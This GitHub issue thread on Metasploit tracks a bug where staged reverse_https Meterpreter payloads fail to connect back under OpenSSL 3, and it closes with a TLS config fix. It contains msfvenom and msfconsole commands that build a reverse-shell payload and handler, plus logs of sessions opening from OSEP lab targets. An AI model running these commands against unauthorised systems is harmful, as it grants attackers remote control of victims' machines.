metasploit-framework
metasploit-framework copied to clipboard
rapid7
windows/x64/meterpreter/reverse_https does not connect back
Hey, I don't get a reverse https shell back. http reverse shell works fine. This started after I updated my system a couple of days ago.
Steps to reproduce:
- sudo msfconsole -q
- set exploit/multi/handler
- use payload windows/x64/meterpreter/revers_https
- set lport 443
- set lhost xxx.xxx.xxx.xxx
- set exitonsession false
- run -j
- msfvenom -p windows/x64/meterpreter/reverse_https LPORT=443 LHOST=xxx.xxx.xxx.xxx -f exe -o red.exe
- execute red.exe on windows target.
Module/Datastore
The following global/module datastore, and database setup was configured before the issue occurred:
Collapse
[framework/core]
log=level 3
[framework/ui/console]
ActiveModule=exploit/multi/handler
[multi/handler]
PAYLOAD=windows/x64/meterpreter/reverse_https
WORKSPACE=
VERBOSE=false
WfsDelay=2
EnableContextEncoding=false
ContextInformationFile=
DisablePayloadHandler=false
ExitOnSession=true
ListenerTimeout=0
HandlerSSLCert=
SSLVersion=Auto
LHOST=xxx.xxx.xxx.xxx
LPORT=443
ReverseListenerBindPort=
ReverseAllowProxy=false
ReverseListenerComm=
PingbackRetries=0
PingbackSleep=30
LURI=
ReverseListenerBindAddress=
OverrideRequestHost=false
OverrideLHOST=
OverrideLPORT=
OverrideScheme=
HttpUserAgent=Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0
HttpServerName=Apache
HttpUnknownRequestResponse=<html><body><h1>It works!</h1></body></html>
IgnoreUnknownPayloads=false
StagerVerifySSLCert=false
PayloadUUIDSeed=
PayloadUUIDRaw=
PayloadUUIDName=
PayloadUUIDTracking=false
EnableStageEncoding=false
StageEncoder=
StageEncoderSaveRegisters=
StageEncodingFallback=true
PrependMigrate=false
PrependMigrateProc=
EXITFUNC=process
StagerURILength=
StagerRetryCount=10
StagerRetryWait=5
HttpHostHeader=
HttpCookie=
HttpReferer=
HttpProxyHost=
HttpProxyPort=
HttpProxyUser=
HttpProxyPass=
HttpProxyType=HTTP
AutoLoadStdapi=true
AutoVerifySessionTimeout=30
InitialAutoRunScript=
AutoRunScript=
AutoSystemInfo=true
EnableUnicodeEncoding=false
SessionRetryTotal=3600
SessionRetryWait=10
SessionExpirationTimeout=604800
SessionCommunicationTimeout=300
PayloadProcessCommandLine=
AutoUnhookProcess=false
MeterpreterDebugBuild=false
MeterpreterDebugLogging=
The database contains the following information:
Collapse
Session Type: Connected to msf. Connection type: postgresql.
| ID | Hosts | Vulnerabilities | Notes | Services |
|---|---|---|---|---|
| 1 (Current) | 16 | 1 | 32 | 3 |
| Total (1) | 16 | 1 | 32 | 3 |
History
The following commands were ran during the session and before this issue occurred:
Collapse
265 set log level 3
266 use exploit/multi/handler
267 set payload windows/x64/meterpreter/reverse_https
268 show options
269 set lport 443
270 set lhost xxx.xxx.xxx.xxx
271 show options
272 run -j
273 sessions
274 debug
Framework Errors
The following framework errors occurred before the issue occurred:
Collapse
[09/14/2022 22:48:38] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:43] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:48] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:53] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:58] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:03] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:09] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:14] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:19] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:24] [e(0)] core: The accept() returned nil in stream server listener monitor
Web Service Errors
The following web service errors occurred before the issue occurred:
Collapse
msf-ws.log does not exist.
Framework Logs
The following framework logs were recorded before the issue occurred:
Collapse
``` Is the server running on that host and accepting TCP/IP connections?connection to server at "127.0.0.1", port 5432 failed: Connection refused
Is the server running on that host and accepting TCP/IP connections?
[09/14/2022 22:07:22] [e(0)] core: Failed to connect to the database: connection to server at "::1", port 5432 failed: Connection refused
Is the server running on that host and accepting TCP/IP connections?
connection to server at "127.0.0.1", port 5432 failed: Connection refused
Is the server running on that host and accepting TCP/IP connections?
[09/14/2022 22:07:26] [d(0)] core: HistoryManager.push_context name: :msfconsole
[09/14/2022 22:11:35] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:11:46] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:11:51] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:11:57] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:02] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:07] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:08] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:13] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:18] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:19] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:23] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:24] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:28] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:29] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:33] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:35] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:40] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:45] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:50] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:12:56] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:13:01] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:13:06] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:14:57] [e(0)] core: Session with no session_host/target_host/tunnel_peer. Session Info: #<Session:meterpreter 127.0.0.1 () >
[09/14/2022 22:41:44] [d(0)] core: HistoryManager.push_context name: :meterpreter
[09/14/2022 22:41:59] [d(0)] core: HistoryManager.pop_context name: :meterpreter
[09/14/2022 22:42:01] [d(0)] core: HistoryManager.pop_context name: :msfconsole
[09/14/2022 22:45:37] [d(0)] core: HistoryManager.push_context name: :msfconsole
[09/14/2022 22:48:26] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:38] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:43] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:48] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:53] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:48:58] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:03] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:09] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:14] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:19] [e(0)] core: The accept() returned nil in stream server listener monitor
[09/14/2022 22:49:24] [e(0)] core: The accept() returned nil in stream server listener monitor
</details>
## Web Service Logs
The following web service logs were recorded before the issue occurred:
<details>
<summary>Collapse</summary>
msf-ws.log does not exist.
</details>
## Version/Install
The versions and install method of your Metasploit setup:
<details>
<summary>Collapse</summary>
Framework: 6.2.15-dev
Ruby: ruby 3.0.4p208 (2022-04-12 revision 3fa771dded) [x86_64-linux-gnu]
OpenSSL: OpenSSL 3.0.3 3 May 2022
Install Root: /usr/share/metasploit-framework
Session Type: Connected to msf. Connection type: postgresql.
Install Method: Other - Please specify
</details>
This seems to work for me with 6.2.19, running with 64 bit https Meterpreter payload with openssl3 + kali against a Windows 2016 domain controller target.
I did have to press ctrl+c for some reason though before interacting with the session - and then it worked as expected. I'm not sure if that's a regression, or if I was just too impatient for the https polling to complete.
Same exact thing happened to me OP. I've been pulling my hair out troubleshooting this. All other payloads work, except for staged reverse_https... Stageless https works.
I have the same issue with version 6.2.19-dev, openssl 3.0.5, using windows/x64/meterpreter/reverse_https on Kali.
I might be wrong here, but just looking at wireshark, it seems like it happens when the connection negotiates to TLS1.
If I set SSLVERSION to TLS1.2 in the advanced options for the payload, it still appears to fail once or twice (my machine sends a FIN packet for that socket, and netstat shows the connection go from FIN_WAIT to TIME_WAIT and then disappear), but it does connect on the third or fourth attempt for me.
If I set SSLVERSION to TLS1 or TLS1.1 instead of the default auto, it continues to fail until the stager retry count is exhausted. This might be a way to confirm this bug.
Thanks for taking a look; I wasn't able to replicate this issue at the time. Any additional information would be appreciated :+1:
Would you mind sharing:
- Exact replication steps
- Kali's openssl version with
openssl versionandruby -r openssl -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION' - Window's OS version
If you're targeting an open source lab/following a tutorial etc, that would be useful information too - as there's a higher chance for replicating and resolving the issue
I have also been affected by this. Currently in OSEP labs and I could not get a single windows/x64/meterpreter/reverse_https shell to pop. This was working fine ~3 weeks ago. Had to go back and redo all of my binaries and shellcode to win/x64/met/reverse_http just to stay on track.
@adfoster-r7 Thanks for having a look at this issue! I can confirm the behaviour described by @mobilemutex. In Wireshark I also observe the TLS Internal Error which is sent from msf to the victim (directly after the payload's client hello).
This bug does only affect some Windows versions (for example I'm getting the reverse_https on my fully updated Windows 10 without any issues).
Those are my msf and openssl versions:
┌──(kali㉿kali)-[~]
└─$ msfconsole --version
Framework Version: 6.2.19-dev
┌──(kali㉿kali)-[~]
└─$ openssl version
OpenSSL 3.0.5 5 Jul 2022 (Library: OpenSSL 3.0.5 5 Jul 2022)
┌──(kali㉿kali)-[~]
└─$ ruby -r openssl -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 3.0.5 5 Jul 2022
This is a victim's systeminfo that is affected by the bug:
C:\Windows\system32> systeminfo
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
<...>
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
If there are any openssl dependency issues that might be suspected as a cause: I currently use Kali Rolling, installed on 2022-02-01 which was fully updated on 2022-09-27.
┌──(kali㉿kali)-[~]
└─$ uname -a
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian
5.18.16-1kali1 (2022-08-31) x86_64 GNU/Linux
┌──(kali㉿kali)-[~]
└─$ cat /etc/issue
Kali GNU/Linux Rolling \n \l
If there is any more information that I could provide, please don't hesitate to ask.
I also spent some time looking into this and couldn't replicate the issue. Using a windows Server 2012 Server against both a Kali machine and my Mac I couldn't trigger the failure.
I went to far as to use this script from stackoverflow https://stackoverflow.com/a/60085649 (with a handful of tweaks) to disable TLS 1.2 and enforce TLS 1.1 and as you can see from the screenshot it continued to work just fine
Kali openssl version: OpenSSL 3.0.4 21 Jun 2022 (Library: OpenSSL 3.0.4 21 Jun 2022) OSX openssl version: $ openssl version LibreSSL 2.8.3
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
![github-actions[bot] avatar](https://avatars.githubusercontent.com/in/15368?v=4 "Published by a pub.dev verified publisher"){kind=small}
Hello there!
I was having this issue for the past two months using the metasploit-framework package that is compiled for Kali Linux.
However, I can confirm the issue is resolved.
It seems the issue was related to the Kali metasploit-framework package utilizing OpenSSL 3.0 and it was pulling the libraries it needed to utilize different versions of SSL. The current version of OpenSSL in Kali Linux is 3.0.7. The kali version of Metasploit for some reason did not utilize the libraries it needed to utilize the SSL version for the HTTPs payload.
If you look at the official metasploit-framework package for other debain/ubuntu distro's (In this case I checked the buster package that the metasploit team compiles https://apt.metasploit.com/), the metasploit-package embeds libssl 1.1 which does not interfere with. and it allows you to obtain a meterpreter session using the https payload.
The current version in the Kali Linux repo (As of today) version 6.2.25-dev works and can receive windows/x64/meterpreter/revers_https sessions without any issues.
If you are using Kali Linux you can run the following commands to get the latest version:
apt update
apt install metasploit-framework
I stand corrected. It seems the issue is still in the packaged version that Kali Linux builds. Comparing the package that the Kali Linux team compiles shows the metasploit-framework is trying to use the OpenSSL 3 libraries but the libraries it needs do not exist.
Using the compiled package from apt.metasploit.com
apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.2.26+20221108112621~1rapid7-1_amd64.deb
shows the metasploit-framework using an older version of libssl and it is embedded into the package.
Is there a plan to update the source code so that the metasploit-framework uses the modern OpenSSL libraries instead of embedding the older versions?
It seems the issue is still in the packaged version that Kali Linux builds
Rapid7's nightly builders bundle with openssl 1.1.1 with msfconsole - you can see the currently used openssl library version in msfconsole with:
# Running on a mac
msf6 payload(windows/x64/shell_reverse_tcp) > irb -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 1.1.1q 5 Jul 2022
# Running on Kali
msf6 auxiliary(scanner/http/title) > irb -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 3.0.4 21 Jun 2022
# Running with the Rapid7 official installer
msf6 payload(windows/x64/shell_reverse_tcp) > irb -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 1.1.1f 31 Mar 2020
Is there a plan to update the source code so that the metasploit-framework uses the modern OpenSSL libraries instead of embedding the older versions?
Metasploit should work transparently with both openssl 1 and 3 - we just happen to bundle 1.1.1 by default still
@tjnull If there's exact replication steps for this issue we should be able to fix it, i.e. from best to worst - if there's a THM/HTB box that's available to test against, or a specific OSEP target, or a base install ISO I can download and setup that would be perfect to attempt to replicate and fix this issue
@tjnull If there's exact replication steps for this issue we should be able to fix it, i.e. from best to worst - if there's a THM/HTB box that's available to test against, or a specific OSEP target, or a base install ISO I can download and setup that would be perfect to attempt to replicate and fix this issue
I'm currently studying OSEP too and I can tell that from the challenge 1, reverses from the Windows 2019 test machine does not work with HTTPS as stated in this thread. Other payloads work fine.
You can set the SSLVersion to TLS1.2 on both the handler and the dropper and it should work.
Dropper:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP ADDRESS> LPORT=443 SSLVERSION=TLS1.2 -f exe -o staged.exe
Multi handler:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST <YOUR IP ADDRESS>; set LPORT 443; set SSLVERSION TLS1.2; exploit"
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Removing the stale label for now
If there's exact replication steps for this issue we should be able to fix it, i.e. from best to worst - if there's a THM/HTB box that's available to test against, or a specific OSEP target, or a base install ISO I can download and setup that would be perfect to attempt to replicate and fix this issue
@adfoster-r7 I sincerely apologize for my late response as I got carried away into other projects.
I had some time to come back to this and I was able to retest this. It seems the reverse_https payload does not want to callback onto Windows 10 running version 1809. Versions Newer then that I can immediately get a reverse_https meterpreter session.
Will provide a further report of my findings and a possible resolution but that is all I have so far.
Thanks for the additional information :+1:
I just set up a fresh windows server 2019 version 1809 to test against - as it was the easiest ISO I had access to with the same 1809 version number:
Z:\metasploit-framework>systeminfo
Host Name: WIN-4QEITG0MS21
OS Name: Microsoft Windows Server Standard
OS Version: 10.0.17763 N/A Build 17763
The https session opened, and were interactive with Ubuntu 22.04 OpenSSL 3.0.2
msf6 payload(windows/x64/meterpreter/reverse_https) > irb -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 3.0.2 15 Mar 2022
I'll set up a fresh windows 10 sept-2018 1809 box today/tomorrow, and if that doesn't work I'll see if I can find someone with access to OSEP that might be able to help replicate - as this bug appears to be impacting those students
@adfoster-r7 - I have access to an OSEP machine with the mentioned issue and I am willing to help replicate the bug.
@adfoster-r7 I can work on getting you lab access if you want to test it on the current systems we have.
The OpenSSL version that I am running with Metasploit is the following:
msf6 > irb -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 3.0.7 1 Nov 2022
Let me know what results you get from testing when you have a 1809 windows 10 system up.
I was able to get a x64 reverse_https Meterpreter session against a fresh instance of Windows 10, version 1809 (sept 2018)
As a next step I'll grab a fresh Kali install with OpenSSL 3.0.7 to see if that's the missing step on my side
I wasn't able to replicate with a fresh 22.04 Kali box and Windows 10, version 1809 (sept 2018) target
However I ran sslscan against msfconsole's https server for 1.1.1 and compared to the fresh Kali box and I can see the behavior for the default ssl/tls protocols have changed
openssl 1.1.1
$ sslscan 192.168.123.1
...
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 enabled
TLSv1.1 enabled
TLSv1.2 enabled
TLSv1.3 enabled
versus 3.0.7
$ sslscan 192.168.123.1
...
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
So although I can't replicate, I can definitely see why it would break if the windows box has changed its ssl/tls settings
I'll put a confirmed label on this until that regression is fixed
@adfoster-r7 I can work on getting you lab access if you want to test it on the current systems we have.
That would be cool; in the interim I think applying this patch here https://github.com/rapid7/metasploit-framework/pull/17482 should fix the issue. If you've got a cycle to manually copy those changes over to /usr/share/metasploit-framework/config/openssl.conf on your Kali box to verify if the changes work - that would be appreciated 🤞
If those changes work we should be able to get the PR landed, otherwise I'll have to poke further
@adfoster-r7 I can work on getting you lab access if you want to test it on the current systems we have.
That would be cool; in the interim I think applying this patch here #17482 should fix the issue. If you've got a cycle to manually copy those changes over to
/usr/share/metasploit-framework/config/openssl.confon your Kali box to verify if the changes work - that would be appreciated 🤞If those changes work we should be able to get the PR landed, otherwise I'll have to poke further
@adfoster-r7 - I have changed /usr/share/metasploit-framework/config/openssl.conf according to the fix.
sslscan shows TLSv1.0/1.1 is enabled:
Successful https meterpreter dropper reverse shell on the mentioned OSEP machine:
@adfoster-r7 I went through the steps you provided and made changes to the openssl.conf file in metasploit.
I can confirm that I was able to get an https payload to call back from one of the OSEP lab machines:
After making changes to the openssl config file and running SSLScan on the HTTPs Listener:
tjnull@conops:~$ sslscan 192.168.49.149
Version: 2.0.15-static
OpenSSL 1.1.1q-dev xx XXX xxxx
Connected to 192.168.49.149
Testing SSL server 192.168.49.149 on port 443 using SNI name 192.168.49.149
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 enabled
TLSv1.1 enabled
TLSv1.2 enabled
TLSv1.3 enabled
TLS Fallback SCSV:
Server supports TLS Fallback SCSV
TLS renegotiation:
Secure session renegotiation supported
TLS Compression:
Compression disabled
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
TLSv1.1 not vulnerable to heartbleed
TLSv1.0 not vulnerable to heartbleed
Supported Server Cipher(s):
Preferred TLSv1.3 128 bits TLS_AES_128_GCM_SHA256 Curve 25519 DHE 253
Accepted TLSv1.3 256 bits TLS_AES_256_GCM_SHA384 Curve 25519 DHE 253
Accepted TLSv1.3 256 bits TLS_CHACHA20_POLY1305_SHA256 Curve 25519 DHE 253
Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 2048 bits
Accepted TLSv1.2 256 bits ECDHE-RSA-CHACHA20-POLY1305 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-CHACHA20-POLY1305 DHE 2048 bits
Accepted TLSv1.2 256 bits DHE-RSA-AES256-CCM8 DHE 2048 bits
Accepted TLSv1.2 256 bits DHE-RSA-AES256-CCM DHE 2048 bits
Accepted TLSv1.2 256 bits ECDHE-ARIA256-GCM-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-ARIA256-GCM-SHA384 DHE 2048 bits
Accepted TLSv1.2 256 bits ADH-AES256-GCM-SHA384 DHE 2048 bits
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits DHE-RSA-AES128-CCM8 DHE 2048 bits
Accepted TLSv1.2 128 bits DHE-RSA-AES128-CCM DHE 2048 bits
Accepted TLSv1.2 128 bits ECDHE-ARIA128-GCM-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits DHE-RSA-ARIA128-GCM-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits ADH-AES128-GCM-SHA256 DHE 2048 bits
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256 DHE 2048 bits
Accepted TLSv1.2 256 bits ECDHE-RSA-CAMELLIA256-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA256 DHE 2048 bits
Accepted TLSv1.2 256 bits ADH-AES256-SHA256 DHE 2048 bits
Accepted TLSv1.2 256 bits ADH-CAMELLIA256-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits ECDHE-RSA-CAMELLIA128-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits ADH-AES128-SHA256 DHE 2048 bits
Accepted TLSv1.2 128 bits ADH-CAMELLIA128-SHA256 DHE 2048 bits
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.2 256 bits AECDH-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.2 256 bits ADH-AES256-SHA DHE 2048 bits
Accepted TLSv1.2 256 bits ADH-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits DHE-RSA-SEED-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits AECDH-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.2 128 bits ADH-AES128-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits ADH-SEED-SHA DHE 2048 bits
Accepted TLSv1.2 128 bits ADH-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.2 256 bits AES256-GCM-SHA384
Accepted TLSv1.2 256 bits AES256-CCM8
Accepted TLSv1.2 256 bits AES256-CCM
Accepted TLSv1.2 256 bits ARIA256-GCM-SHA384
Accepted TLSv1.2 128 bits AES128-GCM-SHA256
Accepted TLSv1.2 128 bits AES128-CCM8
Accepted TLSv1.2 128 bits AES128-CCM
Accepted TLSv1.2 128 bits ARIA128-GCM-SHA256
Accepted TLSv1.2 256 bits AES256-SHA256
Accepted TLSv1.2 256 bits CAMELLIA256-SHA256
Accepted TLSv1.2 128 bits AES128-SHA256
Accepted TLSv1.2 128 bits CAMELLIA128-SHA256
Accepted TLSv1.2 256 bits AES256-SHA
Accepted TLSv1.2 256 bits CAMELLIA256-SHA
Accepted TLSv1.2 128 bits AES128-SHA
Accepted TLSv1.2 128 bits SEED-SHA
Accepted TLSv1.2 128 bits CAMELLIA128-SHA
Preferred TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
Accepted TLSv1.1 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.1 256 bits AECDH-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.1 256 bits ADH-AES256-SHA DHE 2048 bits
Accepted TLSv1.1 256 bits ADH-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits ECDHE-RSA-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.1 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits DHE-RSA-SEED-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits AECDH-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.1 128 bits ADH-AES128-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits ADH-SEED-SHA DHE 2048 bits
Accepted TLSv1.1 128 bits ADH-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.1 256 bits AES256-SHA
Accepted TLSv1.1 256 bits CAMELLIA256-SHA
Accepted TLSv1.1 128 bits AES128-SHA
Accepted TLSv1.1 128 bits SEED-SHA
Accepted TLSv1.1 128 bits CAMELLIA128-SHA
Preferred TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
Accepted TLSv1.0 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.0 256 bits AECDH-AES256-SHA Curve 25519 DHE 253
Accepted TLSv1.0 256 bits ADH-AES256-SHA DHE 2048 bits
Accepted TLSv1.0 256 bits ADH-CAMELLIA256-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.0 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits DHE-RSA-SEED-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits AECDH-AES128-SHA Curve 25519 DHE 253
Accepted TLSv1.0 128 bits ADH-AES128-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits ADH-SEED-SHA DHE 2048 bits
Accepted TLSv1.0 128 bits ADH-CAMELLIA128-SHA DHE 2048 bits
Accepted TLSv1.0 256 bits AES256-SHA
Accepted TLSv1.0 256 bits CAMELLIA256-SHA
Accepted TLSv1.0 128 bits AES128-SHA
Accepted TLSv1.0 128 bits SEED-SHA
Accepted TLSv1.0 128 bits CAMELLIA128-SHA
Server Key Exchange Group(s):
TLSv1.3 128 bits secp256r1 (NIST P-256)
TLSv1.3 192 bits secp384r1 (NIST P-384)
TLSv1.3 260 bits secp521r1 (NIST P-521)
TLSv1.3 128 bits x25519
TLSv1.3 224 bits x448
TLSv1.3 112 bits ffdhe2048
TLSv1.3 128 bits ffdhe3072
TLSv1.3 150 bits ffdhe4096
TLSv1.3 175 bits ffdhe6144
TLSv1.3 192 bits ffdhe8192
TLSv1.2 128 bits secp256r1 (NIST P-256)
TLSv1.2 192 bits secp384r1 (NIST P-384)
TLSv1.2 260 bits secp521r1 (NIST P-521)
TLSv1.2 128 bits x25519
TLSv1.2 224 bits x448
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 2048
Subject: heller.robel.com
Issuer: heller.robel.com
Not valid before: Feb 3 10:33:56 2019 GMT
Not valid after: Feb 1 10:33:56 2026 GMT
Obtaining a meterpreter shell:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.49.149:443
[!] https://192.168.49.149:443 handling request from 192.168.149.11; (UUID: 3llfzsk4) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.49.149:443 handling request from 192.168.149.11; (UUID: 3llfzsk4) Staging x64 payload (201820 bytes) ...
[!] https://192.168.49.149:443 handling request from 192.168.149.11; (UUID: 3llfzsk4) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.49.149:443 -> 192.168.149.11:50061) at 2023-01-16 16:12:23 -0500
meterpreter >
Thank you @adfoster-r7 and @3viLMonk3y for continuing your efforts to troubleshoot this. I am glad we found a fix for it.
Thanks for verifying this all works with OSEP's labs! We'll get that landed before the next release this week, so it should be available in Kali next Monday or so.
I haven't accessed the course before - so if there's anything else in OSEP's labs we should know about, let me know - and I'll try to keep an eye on any updates that might impact that
Pull request landed; Should be picked up by Metasploit's build tomorrow, and available in the Kali release next Monday I believe
All other payloads work fine. But not the reverse_https for me. Tested on OSEP 4.2.4 Shellcode Runner in C#
msfconsole --version
Framework Version: 6.3.21-dev
